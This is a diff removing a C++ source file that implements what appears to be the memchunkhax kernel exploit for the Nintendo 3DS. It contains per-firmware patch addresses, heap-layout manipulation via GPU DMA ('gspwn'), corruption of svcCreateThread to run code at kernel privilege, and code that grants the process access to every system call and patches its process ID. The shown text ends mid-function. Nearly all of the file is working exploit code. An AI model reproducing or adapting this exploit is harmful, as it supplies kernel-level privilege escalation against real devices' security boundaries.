+++ /dev/null
-#include <3ds.h>\r
-#include <cstddef>\r
-#include <cstdint>\r
-#include <cstdio>\r
-#include <cstdlib>\r
-#include <cstring>\r
-#include <limits>\r
-\r
-#include "khax.h"\r
-#include "khaxinternal.h"\r
-\r
-//------------------------------------------------------------------------------------------------\r
-namespace KHAX\r
-{\r
- //------------------------------------------------------------------------------------------------\r
- // Kernel and hardware version information.\r
- struct VersionData\r
- {\r
- // New 3DS?\r
- bool m_new3DS;\r
- // Kernel version number\r
- u32 m_kernelVersion;\r
- // Nominal version number lower bound (for informational purposes only)\r
- u32 m_nominalVersion;\r
- // Patch location in svcCreateThread\r
- u32 m_threadPatchAddress;\r
- // Original version of code at m_threadPatchAddress\r
- static constexpr const u32 m_threadPatchOriginalCode = 0x8DD00CE5;\r
- // System call unlock patch location\r
- u32 m_syscallPatchAddress;\r
- // Kernel virtual address mapping of FCRAM\r
- u32 m_fcramVirtualAddress;\r
- // Physical mapping of FCRAM on this machine\r
- static constexpr const u32 m_fcramPhysicalAddress = 0x20000000;\r
- // Physical size of FCRAM on this machine\r
- u32 m_fcramSize;\r
- // Address of KThread address in kernel (KThread **)\r
- static constexpr KThread **const m_currentKThreadPtr = reinterpret_cast<KThread **>(0xFFFF9000);\r
- // Address of KProcess address in kernel (KProcess **)\r
- static constexpr void **const m_currentKProcessPtr = reinterpret_cast<void **>(0xFFFF9004);\r
- // Pseudo-handle of the current KProcess.\r
- static constexpr const Handle m_currentKProcessHandle = 0xFFFF8001;\r
- // Returned pointers within a KProcess object. This abstracts out which particular\r
- // version of the KProcess object is in use.\r
- struct KProcessPointers\r
- {\r
- KSVCACL *m_svcAccessControl;\r
- u32 *m_kernelFlags;\r
- u32 *m_processID;\r
- };\r
- // Creates a KProcessPointers for this kernel version and pointer to the object.\r
- KProcessPointers(*m_makeKProcessPointers)(void *kprocess);\r
-\r
- // Convert a user-mode virtual address in the linear heap into a kernel-mode virtual\r
- // address using the version-specific information in this table entry.\r
- void *ConvertLinearUserVAToKernelVA(void *address) const;\r
-\r
- // Retrieve a VersionData for this kernel, or null if not recognized.\r
- static const VersionData *GetForCurrentSystem();\r
-\r
- private:\r
- // Implementation behind m_makeKProcessPointers.\r
- template <typename KProcessType>\r
- static KProcessPointers MakeKProcessPointers(void *kprocess);\r
-\r
- // Table of these.\r
- static const VersionData s_versionTable[];\r
- };\r
-\r
- //------------------------------------------------------------------------------------------------\r
- // ARM11 kernel hack class.\r
- class MemChunkHax\r
- {\r
- public:\r
- // Construct using the version information for the current system.\r
- MemChunkHax(const VersionData *versionData)\r
- : m_versionData(versionData),\r
- m_nextStep(1),\r
- m_corrupted(0),\r
- m_overwriteMemory(nullptr),\r
- m_overwriteAllocated(0),\r
- m_extraLinear(nullptr)\r
- {\r
- s_instance = this;\r
- }\r
-\r
- // Free memory and such.\r
- ~MemChunkHax();\r
-\r
- // Umm, don't copy this class.\r
- MemChunkHax(const MemChunkHax &) = delete;\r
- MemChunkHax &operator =(const MemChunkHax &) = delete;\r
-\r
- // Basic initialization.\r
- Result Step1_Initialize();\r
- // Allocate linear memory for the memchunkhax operation.\r
- Result Step2_AllocateMemory();\r
- // Free the second and fourth pages of the five.\r
- Result Step3_SurroundFree();\r
- // Verify that the freed heap blocks' data matches our expected layout.\r
- Result Step4_VerifyExpectedLayout();\r
- // Corrupt svcCreateThread in the ARM11 kernel and create the foothold.\r
- Result Step5_CorruptCreateThread();\r
- // Execute svcCreateThread to execute code at SVC privilege.\r
- Result Step6_ExecuteSVCCode();\r
- // Grant access to all services.\r
- Result Step7_GrantServiceAccess();\r
-\r
- private:\r
- // SVC-mode entry point thunk (true entry point).\r
- static Result Step6a_SVCEntryPointThunk();\r
- // SVC-mode entry point.\r
- Result Step6b_SVCEntryPoint();\r
- // Undo the code patch that Step5_CorruptCreateThread did.\r
- Result Step6c_UndoCreateThreadPatch();\r
- // Fix the heap corruption caused as a side effect of step 5.\r
- Result Step6d_FixHeapCorruption();\r
- // Grant our process access to all system calls, including svcBackdoor.\r
- Result Step6e_GrantSVCAccess();\r
- // Flush instruction and data caches.\r
- Result Step6f_FlushCaches();\r
- // Patch the process ID to 0. Runs as svcBackdoor.\r
- static Result Step7a_PatchPID();\r
- // Restore the original PID. Runs as svcBackdoor.\r
- static Result Step7b_UnpatchPID();\r
-\r
- // Helper for dumping memory to SD card.\r
- template <std::size_t S>\r
- bool DumpMemberToSDCard(const unsigned char (MemChunkHax::*member)[S], const char *filename) const;\r
-\r
- // Result returned by hacked svcCreateThread upon success.\r
- static constexpr const Result STEP6_SUCCESS_RESULT = 0x1337C0DE;\r
-\r
- // Version information.\r
- const VersionData *const m_versionData;\r
- // Next step number.\r
- int m_nextStep;\r
- // Whether we are in a corrupted state, meaning we cannot continue if an error occurs.\r
- int m_corrupted;\r
-\r
- // Free block structure in the kernel, the one used in the memchunkhax exploit.\r
- struct HeapFreeBlock\r
- {\r
- int m_count;\r
- HeapFreeBlock *m_next;\r
- HeapFreeBlock *m_prev;\r
- int m_unknown1;\r
- int m_unknown2;\r
- };\r
-\r
- // The layout of a memory page.\r
- union Page\r
- {\r
- unsigned char m_bytes[4096];\r
- HeapFreeBlock m_freeBlock;\r
- };\r
-\r
- // The linear memory allocated for the memchunkhax overwrite.\r
- struct OverwriteMemory\r
- {\r
- union\r
- {\r
- unsigned char m_bytes[6 * 4096];\r
- Page m_pages[6];\r
- };\r
- };\r
- OverwriteMemory *m_overwriteMemory;\r
- unsigned m_overwriteAllocated;\r
-\r
- // Additional linear memory buffer for temporary purposes.\r
- union ExtraLinearMemory\r
- {\r
- ALIGN(64) unsigned char m_bytes[64];\r
- // When interpreting as a HeapFreeBlock.\r
- HeapFreeBlock m_freeBlock;\r
- };\r
- // Must be a multiple of 16 for use with gspwn.\r
- static_assert(sizeof(ExtraLinearMemory) % 16 == 0, "ExtraLinearMemory isn't a multiple of 16 bytes");\r
- ExtraLinearMemory *m_extraLinear;\r
-\r
- // Copy of the old ACL\r
- KSVCACL m_oldACL;\r
-\r
- // Original process ID.\r
- u32 m_originalPID;\r
-\r
- // Buffers for dumped data when debugging.\r
- #ifdef KHAX_DEBUG_DUMP_DATA\r
- unsigned char m_savedKProcess[sizeof(KProcess_8_0_0_New)];\r
- unsigned char m_savedKThread[sizeof(KThread)];\r
- unsigned char m_savedThreadSVC[0x100];\r
- #endif\r
-\r
- // Pointer to our instance.\r
- static MemChunkHax *volatile s_instance;\r
- };\r
-\r
- //------------------------------------------------------------------------------------------------\r
- // Make an error code\r
- inline Result MakeError(Result level, Result summary, Result module, Result error);\r
- enum : Result { KHAX_MODULE = 254 };\r
- // Check whether this system is a New 3DS.\r
- Result IsNew3DS(bool *answer, u32 kernelVersionAlreadyKnown = 0);\r
- // gspwn, meant for reading from or writing to freed buffers.\r
- Result GSPwn(void *dest, const void *src, std::size_t size, bool wait = true);\r
- // Given a pointer to a structure that is a member of another structure,\r
- // return a pointer to the outer structure. Inspired by Windows macro.\r
- template <typename Outer, typename Inner>\r
- Outer *ContainingRecord(Inner *member, Inner Outer::*field);\r
-}\r
-\r
-\r
-//------------------------------------------------------------------------------------------------\r
-//\r
-// Class VersionData\r
-//\r
-\r
-//------------------------------------------------------------------------------------------------\r
-// Creates a KProcessPointers for this kernel version and pointer to the object.\r
-template <typename KProcessType>\r
-KHAX::VersionData::KProcessPointers KHAX::VersionData::MakeKProcessPointers(void *kprocess)\r
-{\r
- KProcessType *kproc = static_cast<KProcessType *>(kprocess);\r
-\r
- KProcessPointers result;\r
- result.m_svcAccessControl = &kproc->m_svcAccessControl;\r
- result.m_processID = &kproc->m_processID;\r
- result.m_kernelFlags = &kproc->m_kernelFlags;\r
- return result;\r
-}\r
-\r
-//------------------------------------------------------------------------------------------------\r
-// System version table\r
-const KHAX::VersionData KHAX::VersionData::s_versionTable[] =\r
-{\r
-#define KPROC_FUNC(ver) MakeKProcessPointers<KProcess_##ver>\r
-\r
- // Old 3DS, old address layout\r
- { false, SYSTEM_VERSION(2, 34, 0), SYSTEM_VERSION(4, 1, 0), 0xEFF83C9F, 0xEFF827CC, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },\r
- { false, SYSTEM_VERSION(2, 35, 6), SYSTEM_VERSION(5, 0, 0), 0xEFF83737, 0xEFF822A8, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },\r
- { false, SYSTEM_VERSION(2, 36, 0), SYSTEM_VERSION(5, 1, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },\r
- { false, SYSTEM_VERSION(2, 37, 0), SYSTEM_VERSION(6, 0, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },\r
- { false, SYSTEM_VERSION(2, 38, 0), SYSTEM_VERSION(6, 1, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },\r
- { false, SYSTEM_VERSION(2, 39, 4), SYSTEM_VERSION(7, 0, 0), 0xEFF83737, 0xEFF822A8, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },\r
- { false, SYSTEM_VERSION(2, 40, 0), SYSTEM_VERSION(7, 2, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },\r
- // Old 3DS, new address layout\r
- { false, SYSTEM_VERSION(2, 44, 6), SYSTEM_VERSION(8, 0, 0), 0xDFF8376F, 0xDFF82294, 0xE0000000, 0x08000000, KPROC_FUNC(8_0_0_Old) },\r
- { false, SYSTEM_VERSION(2, 46, 0), SYSTEM_VERSION(9, 0, 0), 0xDFF8383F, 0xDFF82290, 0xE0000000, 0x08000000, KPROC_FUNC(8_0_0_Old) },\r
- // New 3DS\r
- { true, SYSTEM_VERSION(2, 45, 5), SYSTEM_VERSION(8, 1, 0), 0xDFF83757, 0xDFF82264, 0xE0000000, 0x10000000, KPROC_FUNC(8_0_0_New) }, // untested\r
- { true, SYSTEM_VERSION(2, 46, 0), SYSTEM_VERSION(9, 0, 0), 0xDFF83837, 0xDFF82260, 0xE0000000, 0x10000000, KPROC_FUNC(8_0_0_New) },\r
-\r
-#undef KPROC_FUNC\r
-};\r
-\r
-//------------------------------------------------------------------------------------------------\r
-// Convert a user-mode virtual address in the linear heap into a kernel-mode virtual\r
-// address using the version-specific information in this table entry.\r
-void *KHAX::VersionData::ConvertLinearUserVAToKernelVA(void *address) const\r
-{\r
- static_assert((std::numeric_limits<std::uintptr_t>::max)() == (std::numeric_limits<u32>::max)(),\r
- "you're sure that this is a 3DS?");\r
-\r
- // Need the pointer as an integer.\r
- u32 addr = reinterpret_cast<u32>(address);\r
-\r
- // Convert the address to a physical address, since that's how we know the mapping.\r
- u32 physical = osConvertVirtToPhys(addr);\r
- if (physical == 0)\r
- {\r
- return nullptr;\r
- }\r
-\r
- // Verify that the address is within FCRAM.\r
- if ((physical < m_fcramPhysicalAddress) || (physical - m_fcramPhysicalAddress >= m_fcramSize))\r
- {\r
- return nullptr;\r
- }\r
-\r
- // Now we can convert.\r
- return reinterpret_cast<char *>(m_fcramVirtualAddress) + (physical - m_fcramPhysicalAddress);\r
-}\r
-\r
-//------------------------------------------------------------------------------------------------\r
-// Retrieve a VersionData for this kernel, or null if not recognized.\r
-const KHAX::VersionData *KHAX::VersionData::GetForCurrentSystem()\r
-{\r
- // Get kernel version for comparison.\r
- u32 kernelVersion = osGetKernelVersion();\r
-\r
- // Determine whether this is a New 3DS.\r
- bool isNew3DS;\r
- if (IsNew3DS(&isNew3DS, kernelVersion) != 0)\r
- {\r
- return nullptr;\r
- }\r
-\r
- // Search our list for a match.\r
- for (const VersionData *entry = s_versionTable; entry < &s_versionTable[KHAX_lengthof(s_versionTable)]; ++entry)\r
- {\r
- // New 3DS flag must match.\r
- if ((entry->m_new3DS && !isNew3DS) || (!entry->m_new3DS && isNew3DS))\r
- {\r
- continue;\r
- }\r
- // Kernel version must match.\r
- if (entry->m_kernelVersion != kernelVersion)\r
- {\r
- continue;\r
- }\r
-\r
- return entry;\r
- }\r
-\r
- return nullptr;\r
-}\r
-\r
-\r
-//------------------------------------------------------------------------------------------------\r
-//\r
-// Class MemChunkHax\r
-//\r
-\r
-//------------------------------------------------------------------------------------------------\r
-KHAX::MemChunkHax *volatile KHAX::MemChunkHax::s_instance = nullptr;\r
-\r
-//------------------------------------------------------------------------------------------------\r
-// Basic initialization.\r
-Result KHAX::MemChunkHax::Step1_Initialize()\r
-{\r
- if (m_nextStep != 1)\r
- {\r
- KHAX_printf("MemChunkHax: Invalid step number %d for Step1_Initialize\n", m_nextStep);\r
- return MakeError(28, 5, KHAX_MODULE, 1016);\r
- }\r
-\r
- // Nothing to do in current implementation.\r
- ++m_nextStep;\r
- return 0;\r
-}\r
-\r
-//------------------------------------------------------------------------------------------------\r
-// Allocate linear memory for the memchunkhax operation.\r
-Result KHAX::MemChunkHax::Step2_AllocateMemory()\r
-{\r
- if (m_nextStep != 2)\r
- {\r
- KHAX_printf("MemChunkHax: Invalid step number %d for Step2_AllocateMemory\n", m_nextStep);\r
- return MakeError(28, 5, KHAX_MODULE, 1016);\r
- }\r
-\r
- // Allocate the linear memory for the overwrite process.\r
- u32 address = 0xFFFFFFFF;\r
- Result result = svcControlMemory(&address, 0, 0, sizeof(OverwriteMemory), MEMOP_ALLOC_LINEAR,\r
- static_cast<MemPerm>(MEMPERM_READ | MEMPERM_WRITE));\r
-\r
- KHAX_printf("Step2:res=%08lx addr=%08lx\n", result, address);\r
-\r
- if (result != 0)\r
- {\r
- return result;\r
- }\r
-\r
- m_overwriteMemory = reinterpret_cast<OverwriteMemory *>(address);\r
- m_overwriteAllocated = (1u << 6) - 1; // all 6 pages allocated now\r
-\r
- // Why didn't we get a page-aligned address?!\r
- if (address & 0xFFF)\r
- {\r
- // Since we already assigned m_overwriteMemory, it'll get freed by our destructor.\r
- KHAX_printf("Step2:misaligned memory\n");\r
- return MakeError(26, 7, KHAX_MODULE, 1009);\r
- }\r
-\r
- // Allocate extra memory that we'll need.\r
- m_extraLinear = static_cast<ExtraLinearMemory *>(linearMemAlign(sizeof(*m_extraLinear),\r
- alignof(*m_extraLinear)));\r
- if (!m_extraLinear)\r
- {\r
- KHAX_printf("Step2:failed extra alloc\n");\r
- return MakeError(26, 3, KHAX_MODULE, 1011);\r
- }\r
- KHAX_printf("Step2:extra=%p\n", m_extraLinear);\r
-\r
- // OK, we're good here.\r
- ++m_nextStep;\r
- return 0;\r
-}\r
-\r
-//------------------------------------------------------------------------------------------------\r
-// Free the second and fourth pages of the five.\r
-Result KHAX::MemChunkHax::Step3_SurroundFree()\r
-{\r
- if (m_nextStep != 3)\r
- {\r
- KHAX_printf("MemChunkHax: Invalid step number %d for Step3_AllocateMemory\n", m_nextStep);\r
- return MakeError(28, 5, KHAX_MODULE, 1016);\r
- }\r
-\r
- // We do this because the exploit involves triggering a heap coalesce. We surround a heap\r
- // block (page) with two freed pages, then free the middle page. By controlling both outside\r
- // pages, we know their addresses, and can fix up the corrupted heap afterward.\r
- //\r
- // Here's what the heap will look like after step 3:\r
- //\r
- // ___XX-X-X___\r
- //\r
- // _ = unknown (could be allocated and owned by other code)\r
- // X = allocated\r
- // - = allocated then freed by us\r
- //\r
- // In step 4, we will free the second page:\r
- //\r
- // ___X--X-X___\r
- //\r
- // Heap coalescing will trigger due to two adjacent free blocks existing. The fifth page's\r
- // "previous" pointer will be set to point to the second page rather than the third. We will\r
- // use gspwn to make that overwrite kernel code instead.\r
- //\r
- // We have 6 pages to ensure that we have surrounding allocated pages, giving us a little\r
- // sandbox to play in. In particular, we can use this design to determine the address of the\r
- // next block--by controlling the location of the next block.\r
- u32 dummy;\r
-\r
- // Free the third page.\r
- if (Result result = svcControlMemory(&dummy, reinterpret_cast<u32>(&m_overwriteMemory->m_pages[2]), 0,\r
- sizeof(m_overwriteMemory->m_pages[2]), MEMOP_FREE, static_cast<MemPerm>(0)))\r
- {\r
- KHAX_printf("Step3:svcCM1 failed:%08lx\n", result);\r
- return result;\r
- }\r
- m_overwriteAllocated &= ~(1u << 2);\r
-\r
- // Free the fifth page.\r
- if (Result result = svcControlMemory(&dummy, reinterpret_cast<u32>(&m_overwriteMemory->m_pages[4]), 0,\r
- sizeof(m_overwriteMemory->m_pages[4]), MEMOP_FREE, static_cast<MemPerm>(0)))\r
- {\r
- KHAX_printf("Step3:svcCM2 failed:%08lx\n", result);\r
- return result;\r
- }\r
- m_overwriteAllocated &= ~(1u << 4);\r
-\r
- // Attempt to write to remaining pages.\r
- //KHAX_printf("Step2:probing page [0]\n");\r
- *static_cast<volatile u8 *>(&m_overwriteMemory->m_pages[0].m_bytes[0]) = 0;\r
- //KHAX_printf("Step2:probing page [1]\n");\r
- *static_cast<volatile u8 *>(&m_overwriteMemory->m_pages[1].m_bytes[0]) = 0;\r
- //KHAX_printf("Step2:probing page [3]\n");\r
- *static_cast<volatile u8 *>(&m_overwriteMemory->m_pages[3].m_bytes[0]) = 0;\r
- //KHAX_printf("Step2:probing page [5]\n");\r
- *static_cast<volatile u8 *>(&m_overwriteMemory->m_pages[5].m_bytes[0]) = 0;\r
- KHAX_printf("Step3:probing done\n");\r
-\r
- // Done.\r
- ++m_nextStep;\r
- return 0;\r
-}\r
-\r
-//------------------------------------------------------------------------------------------------\r
-// Verify that the freed heap blocks' data matches our expected layout.\r
-Result KHAX::MemChunkHax::Step4_VerifyExpectedLayout()\r
-{\r
- if (m_nextStep != 4)\r
- {\r
- KHAX_printf("MemChunkHax: Invalid step number %d for Step4_VerifyExpectedLayout\n", m_nextStep);\r
- return MakeError(28, 5, KHAX_MODULE, 1016);\r
- }\r
-\r
- // Copy the first freed page (third page) out to read its heap metadata.\r
- std::memset(m_extraLinear, 0xCC, sizeof(*m_extraLinear));\r
-\r
- if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[2],\r
- sizeof(*m_extraLinear)))\r
- {\r
- KHAX_printf("Step4:gspwn failed:%08lx\n", result);\r
- return result;\r
- }\r
-\r
- // Debug information about the memory block\r
- KHAX_printf("Step4:[2]u=%p k=%p\n", &m_overwriteMemory->m_pages[2], m_versionData->\r
- ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[2]));\r
- KHAX_printf("Step4:[2]n=%p p=%p c=%d\n", m_extraLinear->m_freeBlock.m_next,\r
- m_extraLinear->m_freeBlock.m_prev, m_extraLinear->m_freeBlock.m_count);\r
-\r
- // The next page from the third should equal the fifth page.\r
- if (m_extraLinear->m_freeBlock.m_next != m_versionData->ConvertLinearUserVAToKernelVA(\r
- &m_overwriteMemory->m_pages[4]))\r
- {\r
- KHAX_printf("Step4:[2]->next != [4]\n");\r
- KHAX_printf("Step4:%p %p %p\n", m_extraLinear->m_freeBlock.m_next,\r
- m_versionData->ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[4]),\r
- &m_overwriteMemory->m_pages[4]);\r
- return MakeError(26, 5, KHAX_MODULE, 1014);\r
- }\r
-\r
- // Copy the second freed page (fifth page) out to read its heap metadata.\r
- std::memset(m_extraLinear, 0xCC, sizeof(*m_extraLinear));\r
-\r
- if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[4],\r
- sizeof(*m_extraLinear)))\r
- {\r
- KHAX_printf("Step4:gspwn failed:%08lx\n", result);\r
- return result;\r
- }\r
-\r
- KHAX_printf("Step4:[4]u=%p k=%p\n", &m_overwriteMemory->m_pages[4], m_versionData->\r
- ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[4]));\r
- KHAX_printf("Step4:[4]n=%p p=%p c=%d\n", m_extraLinear->m_freeBlock.m_next,\r
- m_extraLinear->m_freeBlock.m_prev, m_extraLinear->m_freeBlock.m_count);\r
-\r
- // The previous page from the fifth should equal the third page.\r
- if (m_extraLinear->m_freeBlock.m_prev != m_versionData->ConvertLinearUserVAToKernelVA(\r
- &m_overwriteMemory->m_pages[2]))\r
- {\r
- KHAX_printf("Step4:[4]->prev != [2]\n");\r
- KHAX_printf("Step4:%p %p %p\n", m_extraLinear->m_freeBlock.m_prev,\r
- m_versionData->ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[2]),\r
- &m_overwriteMemory->m_pages[2]);\r
- return MakeError(26, 5, KHAX_MODULE, 1014);\r
- }\r
-\r
- // Validation successful\r
- ++m_nextStep;\r
- return 0;\r
-}\r
-\r
-//------------------------------------------------------------------------------------------------\r
-// Corrupt svcCreateThread in the ARM11 kernel and create the foothold.\r
-Result KHAX::MemChunkHax::Step5_CorruptCreateThread()\r
-{\r
- if (m_nextStep != 5)\r
- {\r
- KHAX_printf("MemChunkHax: Invalid step number %d for Step5_CorruptCreateThread\n", m_nextStep);\r
- return MakeError(28, 5, KHAX_MODULE, 1016);\r
- }\r
-\r
- // Read the memory page we're going to gspwn.\r
- if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[2].m_freeBlock,\r
- sizeof(*m_extraLinear)))\r
- {\r
- KHAX_printf("Step5:gspwn read failed:%08lx\n", result);\r
- return result;\r
- }\r
-\r
- // Adjust the "next" pointer to point to within the svcCreateThread system call so as to\r
- // corrupt certain instructions. The result will be that calling svcCreateThread will result\r
- // in executing our code.\r
- // NOTE: The overwrite is modifying the "m_prev" field, so we subtract the offset of m_prev.\r
- // That is, the overwrite adds this offset back in.\r
- m_extraLinear->m_freeBlock.m_next = reinterpret_cast<HeapFreeBlock *>(\r
- m_versionData->m_threadPatchAddress - offsetof(HeapFreeBlock, m_prev));\r
-\r
- // Do the GSPwn, the actual exploit we've been waiting for.\r
- if (Result result = GSPwn(&m_overwriteMemory->m_pages[2].m_freeBlock, m_extraLinear,\r
- sizeof(*m_extraLinear)))\r
- {\r
- KHAX_printf("Step5:gspwn exploit failed:%08lx\n", result);\r
- return result;\r
- }\r
-\r
- // The heap is now corrupted in two ways (Step6 explains why two ways).\r
- m_corrupted += 2;\r
-\r
- KHAX_printf("Step5:gspwn succeeded; heap now corrupt\n");\r
-\r
- // Corrupt svcCreateThread by freeing the second page. The kernel will coalesce the third\r
- // page into the second page, and in the process zap an instruction pair in svcCreateThread.\r
- u32 dummy;\r
- if (Result result = svcControlMemory(&dummy, reinterpret_cast<u32>(&m_overwriteMemory->m_pages[1]),\r
- 0, sizeof(m_overwriteMemory->m_pages[1]), MEMOP_FREE, static_cast<MemPerm>(0)))\r
- {\r
- KHAX_printf("Step5:free to pwn failed:%08lx\n", result);\r
- return result;\r
- }\r
- m_overwriteAllocated &= ~(1u << 1);\r
-\r
- // We have an additional layer of instability because of the kernel code overwrite.\r
- ++m_corrupted;\r
-\r
- KHAX_printf("Step5:svcCreateThread now hacked\n");\r
-\r
- ++m_nextStep;\r
- return 0;\r
-}\r
-\r
-//------------------------------------------------------------------------------------------------\r
-// Execute svcCreateThread to execute code at SVC privilege.\r
-Result KHAX::MemChunkHax::Step6_ExecuteSVCCode()\r
-{\r
- if (m_nextStep != 6)\r
- {\r
- KHAX_printf("MemChunkHax: Invalid step number %d for Step6_ExecuteSVCCode\n", m_nextStep);\r
- return MakeError(28, 5, KHAX_MODULE, 1016);\r
- }\r
-\r
- // Call svcCreateThread such that r0 is the desired exploit function. Note that the\r
- // parameters to the usual system call thunk are rearranged relative to the actual system call\r
- // - the thread priority parameter is actually the one that goes into r0. In addition, we\r
- // want to pass other parameters that make for an illegal thread creation request, because the\r
- // rest of the thread creation SVC occurs before the hacked code gets executed. We want the\r
- // thread creation request to fail, then the hack to grant us control. Processor ID\r
- // 0x7FFFFFFF seems to do the trick here.\r
- Handle dummyHandle;\r
- Result result = svcCreateThread(&dummyHandle, nullptr, 0, nullptr, reinterpret_cast<s32>(\r
- Step6a_SVCEntryPointThunk), (std::numeric_limits<s32>::max)());\r
-\r
- KHAX_printf("Step6:SVC mode returned: %08lX %d\n", result, m_nextStep);\r
-\r
- if (result != STEP6_SUCCESS_RESULT)\r
- {\r
- // If the result was 0, something actually went wrong.\r
- if (result == 0)\r
- {\r
- result = MakeError(27, 11, KHAX_MODULE, 1023);\r
- }\r
-\r
- return result;\r
- }\r
-\r
-#ifdef KHAX_DEBUG\r
- char oldACLString[KHAX_lengthof(m_oldACL) * 2 + 1];\r
- char *sp = oldACLString;\r
- for (unsigned char b : m_oldACL)\r
- {\r
- *sp++ = "0123456789abcdef"[b >> 4];\r
- *sp++ = "0123456789abcdef"[b & 15];\r
- }\r
- *sp = '\0';\r
-\r
- KHAX_printf("oldACL:%s\n", oldACLString);\r
-#endif\r
-\r
- ++m_nextStep;\r
- return 0;\r
-}\r
-\r
-//------------------------------------------------------------------------------------------------\r
-// SVC-mode entry point thunk (true entry point).\r
-#ifndef _MSC_VER\r
-__attribute__((__naked__))\r
-#endif\r
-Result KHAX::MemChunkHax::Step6a_SVCEntryPointThunk()\r
-{\r
- __asm__ volatile("add sp, sp, #8");\r
-\r
- register Result result __asm__("r0") = s_instance->Step6b_SVCEntryPoint();\r
-\r
- __asm__ volatile("ldr pc, [sp], #4" : : "r"(result));\r
-}\r
-\r
-//------------------------------------------------------------------------------------------------\r
-// SVC-mode entry point.\r
-#ifndef _MSC_VER\r
-__attribute__((__noinline__))\r
-#endif\r
-Result KHAX::MemChunkHax::Step6b_SVCEntryPoint()\r
-{\r
- if (Result result = Step6c_UndoCreateThreadPatch())\r
- {\r
- return result;\r
- }\r
- if (Result result = Step6d_FixHeapCorruption())\r
- {\r
- return result;\r
- }\r
- if (Result result = Step6e_GrantSVCAccess())\r
- {\r
- return result;\r
- }\r
- if (Result result = Step6f_FlushCaches())\r
- {\r
- return result;\r
- }\r
-\r
- return STEP6_SUCCESS_RESULT;\r
-}\r
-\r
-//------------------------------------------------------------------------------------------------\r
-// Undo the code patch that Step5_CorruptCreateThread did.\r
-Result KHAX::MemChunkHax::Step6c_UndoCreateThreadPatch()\r
-{\r
- // Unpatch svcCreateThread. NOTE: Misaligned pointer.\r
- *reinterpret_cast<u32 *>(m_versionData->m_threadPatchAddress) = m_versionData->\r
- m_threadPatchOriginalCode;\r
- --m_corrupted;\r
-\r
- return 0;\r
-}\r
-\r
-//------------------------------------------------------------------------------------------------\r
-// Fix the heap corruption caused as a side effect of step 5.\r
-Result KHAX::MemChunkHax::Step6d_FixHeapCorruption()\r
-{\r
- // The kernel's heap coalesce code seems to be like the following for the case we triggered,\r
- // where we're freeing a block before ("left") an adjacent block ("right"):\r
- //\r
- // (1) left->m_count += right->m_count;\r
- // (2) left->m_next = right->m_next;\r
- // (3) right->m_next->m_prev = left;\r
- //\r
- // (1) should have happened normally. (3) is what we exploit: we set right->m_next to point\r
- // to where we want to patch, such that the write to m_prev is the desired code overwrite.\r
- // (2) is copying the value we put into right->m_next to accomplish (3).\r
- //\r
- // As a result of these shenanigans, we have two fixes to do to the heap: fix left->m_next to\r
- // point to the correct next free block, and do the write to right->m_next->m_prev that didn't\r
- // happen because it instead was writing to kernel code.\r
-\r
- // "left" is the second overwrite page.\r
- auto left = static_cast<HeapFreeBlock *>(m_versionData->ConvertLinearUserVAToKernelVA(\r
- &m_overwriteMemory->m_pages[1].m_freeBlock));\r
- // "right->m_next" is the fifth overwrite page.\r
- auto rightNext = static_cast<HeapFreeBlock *>(m_versionData->ConvertLinearUserVAToKernelVA(\r
- &m_overwriteMemory->m_pages[4].m_freeBlock));\r
-\r
- // Do the two fixups.\r
- left->m_next = rightNext;\r
- --m_corrupted;\r
-\r
- rightNext->m_prev = left;\r
- --m_corrupted;\r
-\r
- return 0;\r
-}\r
-\r
-//------------------------------------------------------------------------------------------------\r
-// Grant our process access to all system calls, including svcBackdoor.\r
-Result KHAX::MemChunkHax::Step6e_GrantSVCAccess()\r
-{\r
- // Everything, except nonexistent services 00, 7E or 7F.\r
- static constexpr const char s_fullAccessACL[] = "\xFE\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x3F";\r
-\r
- // Get the KThread pointer. Its type doesn't vary, so far.\r
- KThread *kthread = *m_versionData->m_currentKThreadPtr;\r
-\r
- // Debug dumping.\r
-#ifdef KHAX_DEBUG_DUMP_DATA\r
- // Get the KProcess pointer, whose type varies by kernel version.\r
- void *kprocess = *m_versionData->m_currentKProcessPtr;\r
-\r
- void *svcData = reinterpret_cast<void *>(reinterpret_cast<std::uintptr_t>(kthread->m_svcRegisterState) & ~std::uintptr_t(0xFF));\r
- std::memcpy(m_savedKProcess, kprocess, sizeof(m_savedKProcess));\r
- std::memcpy(m_savedKThread, kthread, sizeof(m_savedKThread));\r
- std::memcpy(m_savedThreadSVC, svcData, sizeof(m_savedThreadSVC));\r
-#endif\r
-\r
- // Get a pointer to the SVC ACL within the SVC area for the thread.\r
- SVCThreadArea *svcThreadArea = ContainingRecord<SVCThreadArea>(kthread->m_svcRegisterState, &SVCThreadArea::m_svcRegisterState);\r
- KSVCACL &threadACL = svcThreadArea->m_svcAccessControl;\r
-\r
- // Save the old one for diagnostic purposes.\r
- std::memcpy(m_oldACL, threadACL, sizeof(threadACL));\r
-\r
- // Set the ACL for the current thread.\r
- std::memcpy(threadACL, s_fullAccessACL, sizeof(threadACL));\r
-\r
- return 0;\r
-}\r
-\r
-//------------------------------------------------------------------------------------------------\r
-// Flush instruction and data caches.\r
-Result KHAX::MemChunkHax::Step6f_FlushCaches()\r
-{\r
- // Invalidates the entire instruction cache.\r
- __asm__ volatile(\r
- "mov r0, #0\n\t"\r
- "mcr p15, 0, r0, c7, c5, 0\n\t");\r
-\r
- // Invalidates the entire data cache.\r
- __asm__ volatile(\r
- "mov r0, #0\n\t"\r
